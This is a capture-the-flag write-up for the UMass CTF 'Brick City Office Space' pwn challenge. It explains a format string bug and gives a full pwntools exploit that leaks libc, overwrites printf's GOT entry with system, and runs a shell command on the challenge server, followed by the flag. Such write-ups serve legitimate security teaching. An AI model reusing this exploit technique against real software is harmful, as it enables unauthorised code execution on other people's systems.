Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications.
nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001
Enumeration
The challenge provides a 32-bit x86 Linux binary with the following protections:
- RELRO: No RELRO (GOT is writable)
- Stack Canary: No Canary
- NX: Enabled
- PIE: Disabled (Loads at
0x08048000)
Decompiling the vuln function reveals a clear Format String Vulnerability:
result = fgets(format, 592, stdin);// ...printf(format); // <--- Vulnerable callThe program allows multiple “redesigns,” enabling us to trigger the vulnerability several times in a single session. By sending AAAA %p %p %p %p, we confirm the format string offset is 4.
Exploitation Strategy
Since the binary has No RELRO and PIE is disabled, we can perform a standard GOT overwrite:
- Leak Libc: Use the first
printfto leak a libc address from the GOT (e.g.,printf@GOT). - Calculate Offsets: Determine the base address of libc and the absolute address of
system. - GOT Overwrite: Trigger the “redesign” loop and send a payload to overwrite
printf@GOTwith the address ofsystem. - Trigger Shell: Send the string
cat flag.txtin the next iteration.printf(format)will executesystem("cat flag.txt").
Solution
The following exploit uses pwntools to automate the process, carefully avoiding backticks (`) which the binary handles specially.
from pwn import *
elf = ELF('./BrickCityOfficeSpace')libc = ELF('./libc.so.6')p = remote('brick-city-office-space.pwn.ctf.umasscybersec.org', 45001)
offset = 4printf_got = elf.got['printf']
# Step 1: Leak libcpayload = p32(printf_got) + b"|%4$s|"p.sendlineafter(b"BrickCityOfficeSpace>", payload)p.recvuntil(b"|")leaked_printf = u32(p.recv(4))libc.address = leaked_printf - libc.symbols['printf']
# Step 2: Overwrite GOTp.sendlineafter(b"(y/n)", b"y")# Avoid backticks (0x60) by adjusting the number of bytes writtenpayload = fmtstr_payload(offset, {printf_got: libc.symbols['system']}, numbwritten=1)p.sendlineafter(b"BrickCityOfficeSpace>", payload)
# Step 3: Trigger system("cat flag.txt")p.sendlineafter(b"(y/n)", b"y")p.sendlineafter(b"BrickCityOfficeSpace>", b"cat flag.txt")p.interactive()Flag
UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}